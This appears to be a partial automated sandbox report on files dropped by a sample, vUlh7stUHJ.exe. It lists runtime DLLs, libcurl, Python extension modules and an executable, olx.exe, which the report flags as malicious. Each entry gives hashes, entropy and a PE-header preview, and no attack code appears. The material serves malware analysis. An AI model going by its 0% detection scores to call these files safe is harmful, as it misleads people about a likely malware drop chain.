Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..C..C.....\.....L.....I..J.[.Q..C........H.....B...../.....B....7.B.....B..RichC..........................PE..d....Pvd.........." ...#.....^...............................................pG.......G...`...........................................?.....PKF.,.....F.s....`C.4.....F..)....F.... .;.8.............................;.@............@F.P............................text...N........................... ..`.rdata..............................@..@.data....n....B..:....B.............@....pdata.......`C.......C.............@..@.idata...%...@F..&....E.............@..@.00cfg..u....pF.......F.............@..@_RDATA........F.......F.............@..@.rsrc...s.....F.......F.............@..@.reloc..=.....F.......F.............@..B................................................................................................................

C:\recover\libcurl.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	429056
Entropy (8bit):	6.376351789520092
Encrypted:	false
SSDEEP:	6144:qTu940/q+OGvSIgS2UwBb0UeQ9wEOBXaAQWBfFxKt0IQKl/JaI18FERZfVD1+N1o:z33OGvSIT2IL9EOB1Q6fAxlx3h51i
MD5:	948014FD35EA4274F821A99FBF352552
SHA1:	85E81B3159AF7F6614F9B83658778F3781C02B12
SHA-256:	24AFA9904B420242BAD66FCB514907DBB41B770B5BD54577CCEE03524F75E580
SHA-512:	869265E998014FF106C53C1DE0A41F1ECE22A4420A37599FFACADAF9F7FF9D5F79056F3DE78229857AA31EFCB0902CFB64B0AA7F26110A0AF5D46ECE09B77952
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A..'...t...t...t..7t...t..u...t..ct...t..u...t..u...t..u...t`.u...t...u...t...tl..t...u...t...u...t..[t...t...u...tRich...t........................PE..d.....Y^.........." ......................................................................`.........................................0'......./..@....... ....p..`9..................`...................................................`............................text............................... ..`.rdata..DD.......F..................@..@.data........`.......F..............@....pdata..`9...p...:...H..............@..@.rsrc... ...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\recover\msvcp140.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	578384
Entropy (8bit):	6.524580849411757
Encrypted:	false
SSDEEP:	12288:RBSNvy11qsslnxU/1ceqHiNHlOp/2M+UHHZpDLO+r2VhQEKZm+jWodEEVAdm:RBSDOFQEKZm+jWodEE2dm
MD5:	1BA6D1CF0508775096F9E121A24E5863
SHA1:	DF552810D779476610DA3C8B956CC921ED6C91AE
SHA-256:	74892D9B4028C05DEBAF0B9B5D9DC6D22F7956FA7D7EEE00C681318C26792823
SHA-512:	9887D9F5838AA1555EA87968E014EDFE2F7747F138F1B551D1F609BC1D5D8214A5FDAB0D76FCAC98864C1DA5EB81405CA373B2A30CB12203C011D89EA6D069AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f..f..f.....d..o.A.p..f........c.....n.....b...........g....-.g.....g..Richf..........................PE..d................." ...$.F...V......`1....................................................`A........................................PB..h.......,................9......PO......8...p...p...........................0...@............`...............................text....E.......F.................. ..`.rdata.......`.......J..............@..@.data....8...@......................@....pdata...9.......:...<..............@..@.rsrc................v..............@..@.reloc..8............z..............@..B................................................................................................................................................................................................................................................

C:\recover\msvcp140_1.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35704
Entropy (8bit):	6.591016227549893
Encrypted:	false
SSDEEP:	384:z1vZLMtUYqOoKFYpWcm5gW/ki0pSt+eB+Hj+R9zUkUTRtHRN7SoHR9zui5TJ:zpCtzqOjKYWi0QKHji9zSRtnx9zJTJ
MD5:	69D96E09A54FBC5CF92A0E084AB33856
SHA1:	B4629D51B5C4D8D78CCB3370B40A850F735B8949
SHA-256:	A3A1199DE32BBBC8318EC33E2E1CE556247D012851E4B367FE853A51E74CE4EE
SHA-512:	2087827137C473CDBEC87789361ED34FAD88C9FE80EF86B54E72AEA891D91AF50B17B7A603F9AE2060B3089CE9966FAD6D7FBE22DEE980C07ED491A75503F2CF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x. c<.N0<.N0<.N0..O1>.N05..08.N0..J1;.N0..M1>.N0<.O0..N0..O19.N0..K1(.N0..N1=.N0..0=.N0..L1=.N0Rich<.N0........PE..d...E.b..........." ...$.....&.......................................................<....`A.........................................?..L...<A..x....p.......`.......<..xO...........4..p...........................`3..@............0..8............................text............................... ..`.rdata..2....0......................@..@.data........P......................@....pdata.......`.......2..............@..@.rsrc........p.......6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................

C:\recover\msvcp140_2.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	267160
Entropy (8bit):	6.49994972430417
Encrypted:	false
SSDEEP:	6144:FMfjP87f5uV3hf0mApoleUCl8OdiI4hLgx+WKD:1f5uMmApoleUoiI4Zg0W+
MD5:	E7A91F7C9D91F0F7857632436B121781
SHA1:	3F658BB9757F5A9D50C884605C7E04F00151237A
SHA-256:	63F1A20CB17EC5E0CA4EBEA870B68740F24E063E28B235C3C8B58A3D8F57A9C4
SHA-512:	27961BE17CC8DB96DC3F144E4D8C7D0A9AD216B76474993190548FD79B22508B02B1358174F9348D6DB6DA44524FC877C9FA0392D886EBA9EF3A322FF083AFCF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Z..`...3...3...3..2...3..'3...3..2...3..2...3...3u..3..2...3..2...3..2...3..K3...3..2...3Rich...3........PE..d....:.g.........." ...$............................................................B.....`A................................................X............................O..........0Y..p............................W..@............ ..h............................text............................... ..`.rdata...y... ...z..................@..@.data....*.......&..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\recover\msvcp140_atomic_wait.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50072
Entropy (8bit):	6.630947437101055
Encrypted:	false
SSDEEP:	768:YcpSBz3fhhehUjAPXOYRf0bzl+Hji9zpwmHji9z1I:sPv8UMPXOdbzlA+zpw4+zS
MD5:	21F3417BBD33CBB9F1886E86C7240D1A
SHA1:	37B495E87E55AE940D4D198E55C45A06E825D8CE
SHA-256:	7E02EFE075B7DD385992F621FDE34728EF7C2D4CF090B127B093D0835345F8FE
SHA-512:	A879016494F06308C735A6D2521AF97F93A785A61DDE73C3E2D2F27D7FDB3C28BBDD038EA338B40B74881480599CA93276CB599BE705F95748DFED612B480795
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........^...^...^......Z...W.@.X.......V.......]...^...:.......Y.......C......._.....,._......._...Rich^...........PE..d................" ...$.:...........>.......................................@......I.....`A........................................@f..D....k....... ..........P....t...O...0..X...`X..p........................... W..@............P..H............................text...>9.......:.................. ..`.rdata...$...P...&...>..............@..@.data...............d..............@....pdata..P............f..............@..@.rsrc........ .......l..............@..@.reloc..X....0.......r..............@..B................................................................................................................................................................................................................................................................

C:\recover\msvcp140_codecvt_ids.dll

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31640
Entropy (8bit):	6.794564512154911
Encrypted:	false
SSDEEP:	384:onhXaLUR9WiUEWhQgKSt+eVo+Hj+R9zUNvnevsHRN77/+Hj+R9zUs2YbuGU:okLBXzlj3Hji9zwWw72Hji9znpbuGU
MD5:	A3D300560D9C554790B3E6EA50E33D0F
SHA1:	9C4C4E904D8A9C53E405BEB53DF13343996C7351
SHA-256:	3BD90DB2F147899C65FE279F3E44AC48F5598CD0C23A09C0410BE072A4C96070
SHA-512:	945AE45635807B0638BB43400F08D0A899A1F6C13B328920EA2B304C0F63B4848BF1DCDF73256811CA078B008A4A31230E56C898AB0094A4081AA265361E5B10
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m8.))Y.z)Y.z)Y.z.+.{+Y.z !~z+Y.z.'.{Y.z)Y.z.Y.z.'.{.Y.z.'.{+Y.z.'.{%Y.z.'.{(Y.z.'.z(Y.z.'.{(Y.zRich)Y.z........PE..d....O.^.........." ...$............P........................................p............`A........................................p(..0....)..P....P.......@.......,...O...`..,...."..p............................!..@............ ...............................text............................... ..`.rdata..B.... ......................@..@.data........0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.....................@..B................................................................................................................................................................................................................................................................

C:\recover\olx.exe

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40432
Entropy (8bit):	6.0634455313135325
Encrypted:	false
SSDEEP:	768:5YbFRjomk1y1emR/pcuIp3AYbsCdDGHUf2hX:5AemR/r4sC+UfE
MD5:	8AEE66FE642D154F32E5AFF380DA188B
SHA1:	FF19985B61265C3FBA572BAEE6EC5EF21221502C
SHA-256:	94C5E2FBF60BBABF8E026178ED50D0E56C31B274300BD633C050FFDCB1F4510F
SHA-512:	2EA08CE90E85C406F1326B70CF434BC73B4798F0E9B797806852A11FA14D20BEBC37B953B4ADBC4AEAE8E319682E1732885DA75186214A6880B17222CCD6B5C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,.}.hO..hO..hO..a7..bO... ..jO..\|$..jO... ...O... ..aO... ..jO...?..mO..hO...O...?..iO...?..iO..hO..iO...?..iO..RichhO..........PE..d...:.._.........."......>...B.......A.........@....................................P"....`.................................................lb..................`...............L....W..T............................W..0............P..h............................text....<.......>.................. ..`.rdata...+...P...,...B..............@..@.data...H............n..............@....pdata..`............v..............@..@.rsrc................z..............@..@.reloc..L...........................@..B................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_asyncio.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	56600
Entropy (8bit):	6.701238830377098
Encrypted:	false
SSDEEP:	1536:FDUfUUn5KdYveu2H7sz9YHIRTRILOnY7SyOPx3A:FDgDn0KPz9YHIxRILOnYIx3A
MD5:	252C9B6FCC220FE16499ABF4A8E2A2E8
SHA1:	03327874A1153E9FE640E6F5E8D987CCC84034C4
SHA-256:	E01FDB89380EBF58700F40DCEBAFCB37F24970C8EA1F33063BDEA873B53E720D
SHA-512:	F68C9D043D5EF7A32098DDD9C1622F761F88DA31CA47450AB1D95E51AB8CD06E1658DC57DB150AAF51B682F7F285654E6BBD118B3CA8400BB5B2D461BDC78926
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:...T..T..T....T...U..T...Q..T...P..T...W..T.m.U..T..U..T..U.+.T.m.\..T.m.T..T.m....T.m.V..T.Rich..T.........................PE..L...9.,d...........!.....R...\.......V.......p......................................B.....@.............................P......d......................../..........(...T...............................@............p...............................text...TP.......R.................. ..`.rdata...7...p...8...V..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_bz2.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72472
Entropy (8bit):	6.8432832170573255
Encrypted:	false
SSDEEP:	1536:QxDhX4Vb2zMIsTRGxT+0q8i9qK5ILCVwQ7Sy8Pxer:mhi2zvsCK0ti9qK5ILCVwQ6xw
MD5:	5C952E57426E429F6F4CEC9FEB841815
SHA1:	83BFD2108E188909C7FF3B294AB9C99336D02D06
SHA-256:	B682E9E8152036BDEBF4CA5410D3C0F88FA3272A969830F63C7B61BB1F0DA89F
SHA-512:	2B6AB5F24E7E232C8906AC12C5A4994CFCF1B061FFC25407F278DE3D97664716C24E58237EE6EC48949AC6C1F4522AA1CA4C5238015D128E3A9BE602D2CE0ED2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j.:...i...i...i.svi...i.~.h...i.d.i...i.~.h...i.~.h...i.~.h...i.~.h...i.s.h...i...i...i.~.h...i.~.h...i.~.i...i.~.h...iRich...i........PE..L...Y.,d...........!.........D.............................................. ......!.....@.............................H................................/.......... ...T...........................x...@...............8............................text............................... ..`.rdata...-..........................@..@.data...8...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_ctypes.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108312
Entropy (8bit):	6.644234290397436
Encrypted:	false
SSDEEP:	3072:qS6mSAe9tVW/dhyGfnH/Jt5Phld/7VILLPf17Mxk:qS6mzInWlhyiH/Jt1d/7wJ
MD5:	FF0992DFB0D4D90BDCEAAD68246C5C22
SHA1:	3508B7D730DDE3DB94AE413625451AE8CAA0BD7D
SHA-256:	F879F86BF65CE05EE3467DF65C55B9837F9DFFB0F024C350C9A9869A08609759
SHA-512:	8BEBC01958D71B327CBC39ED04BC53F6484CAA0232A1FD71E6691BDAA89FCBC766BC888D45870DC24D1190C48A0AE0A58C447EC936E34DB23059EE6F35A138BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.....................H..............................................Y........&................$..........Rich...........................PE..L...W.,d...........!................................................................)]....@.........................P4.......4.......p...............x.../.........../..T............................/..@............................................text...!........................... ..`.rdata..TK.......L..................@..@.data...l....P.......:..............@....rsrc........p.......V..............@..@.reloc...............`..............@..B........................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_decimal.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	195864
Entropy (8bit):	6.894532348319941
Encrypted:	false
SSDEEP:	3072:HJwcAu1LgDNsFyrbz5arkp1Lq00rBCXN4hmuqaxgU3pJMWlXgWcW+33SgRILOqXv:HNAg8rRaULECXN4Quqax33XMW5gJW+34
MD5:	FBE8BB3048DF17FF9DDB0972825FDA71
SHA1:	E3AD65446B60554CB9F7C45700BE2EAD1453772F
SHA-256:	283AA604D532B6239AA8D8794C8D8A4F3A11C93DFBCEF846315CFD74F5E07E2F
SHA-512:	48C66F10F9E79359DF63FD381C21B4559438DAE7AD84C625EFE1C7AB802F31BB8D326650F654C8EA504791595D801679A6F156F7ED90DA98AEBC04D2120C90A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m<.c)].0)].0)].0 %"0'].0{(.1+].0{(.1%].0{(.1#].0{(.1-].0.(.1*].0b%.1+].0)].0.].0.(.1&].0.(.1(].0.(N0(].0.(.1(].0Rich)].0................PE..L...E.,d...........!................(........ ......................................R.....@.............................P...`............................/......t.......T...............................@............ ..d............................text............................... ..`.rdata....... ......................@..@.data...x...........................@....rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_elementtree.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114968
Entropy (8bit):	6.774198419515606
Encrypted:	false
SSDEEP:	3072:Z+6/1DqY6SFc720NRIF2Upji0101tgJIL6fijC8u8xF:Tw9uWy01tgW+g
MD5:	9CBEE02CC8FB2DA7C05B9D6EB5FC38A2
SHA1:	1D0F75F30BDF542E6A275DCA0192C70AE3B2F455
SHA-256:	AFB9950D0B16254025F3C2DE68C877381D3DA57FEFDB02504C21EE8D4C2E84E5
SHA-512:	99841EA990FE5874F3B4975318AC81D144D22CE6A6C245A001B67F33BE3A6D41901B18387F9A1564CAD3544F077812D0AE78D8880C66E79FBFDB1DD50117D2A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y..7...7...7.......7..6...7..2...7..3...7..4...7.\.6...7..6...7...6.:.7.\.?...7.\.7...7.\....7.\.5...7.Rich..7.........................PE..L...A.,d...........!.........t.......!.......0............................................@.........................Pf..X....f..x......................../...........a..T............................b..@............0..P............................text...l........................... ..`.rdata..ZE...0...F... ..............@..@.data................f..............@....rsrc................p..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_hashlib.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	49432
Entropy (8bit):	6.749500211425154
Encrypted:	false
SSDEEP:	768:H+OYENKnr4deUNXT1Ee20RILOIS5YiSyvWPxWEa1E:HbYENsr4MWT1Ee20RILOIQ7SyOPxl
MD5:	2AC2DEE9FDB32BE30FEFD4FDB5D280B3
SHA1:	5E803C5D649521CAB34BFC7EF6DC44954915220D
SHA-256:	F10C90062EAA68F41B1A6B34F3796E3AB8E0D765E595236E893CFF9FAD30116A
SHA-512:	86A7DFE6F15FCE67ACCBC84262C73D25F2E440B7529143235B9B32F15F7804F99206E24C5ED8E5219BB5895BF6E397304BA153E064FF97EED23F5E92469E901E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.&...H...H...H.......H._.I...H._.M...H._.L...H._.K...H...I...H.F.I...H...I...H...I.H...@...H...H...H......H...J...H.Rich..H.........PE..L...q.,d...........!.....>...T.......C.......P.......................................+....@..........................w..P....w.........................../..........(s..T............................s..@............P...............................text...t=.......>.................. ..`.rdata..j4...P...6...B..............@..@.data...h............x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_lzma.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	148248
Entropy (8bit):	7.03034519275223
Encrypted:	false
SSDEEP:	3072:VcSEmJbTMWUCFHRQWtwjEYZLlFrFvIB+hBJQ8T374Tu2d//zHf39mNoBJNWQ5ILt:GwUC9RQWtwjEGgYXT3CTvYOVWQI
MD5:	6174470C775AD7529891E1BA3C54F87B
SHA1:	A1536BDECFD42F99BD1CC561EC727D81F613D205
SHA-256:	E1E346F8B9FA43EC5519166D92625168EBB642A70F52611545117631C74181BD
SHA-512:	0595EA1C8D2784D1C8272E29D8E9C1C074FFA1CA14116AE7E65C52DA1D1E87A0AE1FD9D3EF285F887A8847008DA1EBE3E1F6ACF1294AFDC9E2F31216F7AB7CB4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*.P.D.P.D.P.D.Y...T.D...E.R.D...A.[.D...@.Z.D...G.S.D...E.S.D...E.R.D.P.E.1.D...L.j.D...D.Q.D.....Q.D...F.Q.D.RichP.D.........PE..L.....,d...........!.....f..........<k.......................................@.......C....@.............................L.......x.... .................../...0..t.......T...........................H...@...............x............................text...[e.......f.................. ..`.rdata..b............j..............@..@.data...H...........................@....rsrc........ ......................@..@.reloc..t....0......................@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_msi.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.790398784644929
Encrypted:	false
SSDEEP:	768:uW9a35lnOP/xoUAIpd+o7uMnm9YVp5Dsa5ILCGaY35YiSyvJPxWEas6:T9a35lOPJmmVp5Dh5ILCGz7SyBPxA
MD5:	87A21CFE0CB3953D5D1442042A72C602
SHA1:	2E33DCF83DAA1642CBE38BBD1CABC15072DCDC1C
SHA-256:	8DF955D1CA6519173E34785FB9F38D1D52F4EDBA4F0E0742749F13AEF19A8F34
SHA-512:	01222931EA798F6783EE6F665FE2E3B911BA7818651DD89E7EB0F1EC8EBCB4912361593E6FA24427DE6A74C5F53AE9A99F291A8F85A985DFCD10546FAB6B3B03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j.{...(...(...(.s[(...(.~.)...(.~.)...(.~.)...(.~.)...(.~.)...(.s.)...(...(...(.~.)...(.~.)...(.~7(...(.~.)...(Rich...(................PE..L...F.,d...........!.....(...<.......-.......@.......................................<....@.........................PW..H....W.......................d.../...........R..T...........................8S..@............@...............................text...j'.......(.................. ..`.rdata...!...@..."...,..............@..@.data........p.......N..............@....rsrc................T..............@..@.reloc...............^..............@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_multiprocessing.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29976
Entropy (8bit):	6.798507676792536
Encrypted:	false
SSDEEP:	384:aQJATEdgw8HYcj4HjzjuRTBax6i+5/ZMILWBLCHQIYiSy1pCQHcPxh8E9VF0NyUC:9kHYDs88HFZMILWtY5YiSyv8PxWEaC
MD5:	7AB685D3F467C7029DEE1A943BB19065
SHA1:	BCADE206E6863874EAF72A1CAA748FBDEE916970
SHA-256:	91889BBF6DFADFC026276141A4260D7F2C19090FDE9EE04490B9211DD3933EBA
SHA-512:	D8E8CABA0D030FA0433D71D376608ACA2DA003D76C67FE9AB8C7B7E4A6AA7E0C21454E1D45CD052BB67B681B57094BDFA9CD634C1A1AE22C104568D20D13B02A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ Nb.A 1.A 1.A 1.9.1.A 1.4!0.A 1.4%0.A 1.4$0.A 1.4#0.A 1i4!0.A 1.A!1.A 1.9!0.A 1i4(0.A 1i4 0.A 1i4.1.A 1i4"0.A 1Rich.A 1........PE..L...D.,d...........!.........,...............0......................................./....@.........................P<..`....<..x....`...............F.../...p.......7..T............................8..@............0..H............................text...t........................... ..`.rdata.......0......................@..@.data...`....P.......4..............@....rsrc........`.......8..............@..@.reloc.......p.......B..............@..B........................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_overlapped.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	42264
Entropy (8bit):	6.794037552069512
Encrypted:	false
SSDEEP:	768:Hv9eDBCwgCnLEggqKboqjzezQPxNILXtV05YiSyvdPxWEaoC:FwgULj8NvezQPxNILXtVe7SylPxRC
MD5:	0A4AAABED72E8E08143EB129E5E24407
SHA1:	A85094E29FE1DE755DFB2BB2650378CA7BD1F5F2
SHA-256:	2233C561A18D92ADC2F4C56D6C55ADFB4A01049E801BDD3BB2A03CEE125F6E43
SHA-512:	79942D76D23376C71028EED8658E2C938DFE64D54D56FC60C0CA8F2FCA9515D7A5A24A5ABFDCB51DFF944ED2F7BEB17B6D5BA50D45A62DE9A7DB4FDCF6A04F62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P..f...f...f......f...g...f...c...f...b...f...e...f...g...f...g...f...g...f...b...f...n...f...f...f.......f...d...f.Rich..f.................PE..L...H.,d...........!.....8...>......]<.......P......................................{.....@..........................h..X...(i.......................v.../......$...8d..T............................d..@............P...............................text...$6.......8.................. ..`.rdata...#...P...$...<..............@..@.data................`..............@....rsrc................d..............@..@.reloc..$............n..............@..B........................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_queue.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28440
Entropy (8bit):	6.828727954203399
Encrypted:	false
SSDEEP:	768:gtbUDut6rf1vYvVILQUG5YiSyvhPxWEa4:uUa8f1vYvVILQU87SyJPxp
MD5:	2E6FE907E37F3F9154DB187C1B7F8232
SHA1:	77F25B5D95097DFDA0F9FD58632F8711091547CD
SHA-256:	763D333C80F4C11861C9210C4BD53FEDA24B5598AC9270391B2EC250BD52B636
SHA-512:	D87683A681D576CB334BDF2CE385E6BDB115D18232E160F17535A6BA432342604ADE6404F085F64ECA63C639860968603D4D8DB11A11520A1BC44B2A57FE00AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p..p..p....p...q..p...u..p...t..p...s..p.m.q..p..q..p..q...p.m.x..p.m.p..p.m....p.m.r..p.Rich..p.................PE..L...H.,d...........!.........*...............0............................................@..........................<..L....=..d....`...............@.../...p..\...`8..T............................8..@............0...............................text............................... ..`.rdata.......0......................@..@.data...@....P.......0..............@....rsrc........`.......2..............@..@.reloc..\....p.......<..............@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_socket.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	69912
Entropy (8bit):	6.7529275237414
Encrypted:	false
SSDEEP:	1536:XAqVY6E4oksA1MT9f8+CeJ+8WyKTVVILLwt7SyJPxl:XAqVY3FA1MT9f8DeJ+8W9TVVILLwtvxl
MD5:	A092B2DE9E1128F73E26D142A5B2D68B
SHA1:	0C5E38B11389ACC870056200710F4152FBB03429
SHA-256:	389D2B94A3562879F9E0A17CACE1574EE308AC39A5D9F5659F885284C9B2D19E
SHA-512:	60D45D3BEF3C8729CA879816A321B8508AE304A84499E715CB2AD7352273A6482B82C960092311E3EF40F1326D6533CE25B61953A197F7D3FBCE2C0CF511D5E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...k...f...0.`...0.n...0.h...0.c.....`...b......)...e.....c.....c.....j.c.....c...Richb...................PE..L...n.,d...........!.....f...\|......tk....................................................@.........................P...P................................/..............T........................... ...@............................................text...:e.......f.................. ..`.rdata...Z.......\...j..............@..@.data...(...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_sqlite3.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72984
Entropy (8bit):	6.755617527508713
Encrypted:	false
SSDEEP:	1536:a85mWPlKtIGSqpnoOUNGHxvttnGyOuPrF2dRILOQxyO7Syo/PxjP:XmdiHqpjmGx1tnGEzF2dRILOQxheHxD
MD5:	389A85E60B7DA2F29AAA738A7BF2B542
SHA1:	4C6F51FD4C25F22474667AB8078AD974A9628C5D
SHA-256:	8A703DA286CDBC263FE28D0888C03BB899E73B4B7729C44A953CC6139F33E3BE
SHA-512:	898506A70DA25E8D181DF7E7790430ABEFCB0C9EECCB0595A1983CE09B6155DD0C72935470FBB9EF0BFA0BFFC953555693FF2FFA2461C10B84578691CD0C7B50
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7@..s!.]s!.]s!.]zY.]u!.]!T.\q!.].Ny]r!.]!T.\.!.]!T.\y!.]!T.\r!.].T.\v!.]8Y.\q!.]s!.].!.].T.\z!.].T.\r!.].T{]r!.].T.\r!.]Richs!.]........PE..L.....,d...........!.........n.......................................................I....@.........................P...P................................/......8.......T...............................@............................................text....~.......................... ..`.rdata...E.......F..................@..@.data...L...........................@....rsrc...............................@..@.reloc..8...........................@..B................................................................................................................................................................................................................................................................................................

C:\recover\pw\DLLs\_ssl.pyd

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	141592
Entropy (8bit):	6.519132347042123
Encrypted:	false
SSDEEP:	3072:Q1ixmpACRnjX8bpl/u3O90wxY77N5ILC792oywBxv:4ixmpPsbppu3zwxWN9b
MD5:	1222DAA5C49F53A36D2843CA9BFE513A
SHA1:	7A43E326B261E75A05CDFA979B80E95B69080173
SHA-256:	69C76B8FE5C873D1A0DFF493C3A3B88090B61EE648AD7681BC0581964465589E
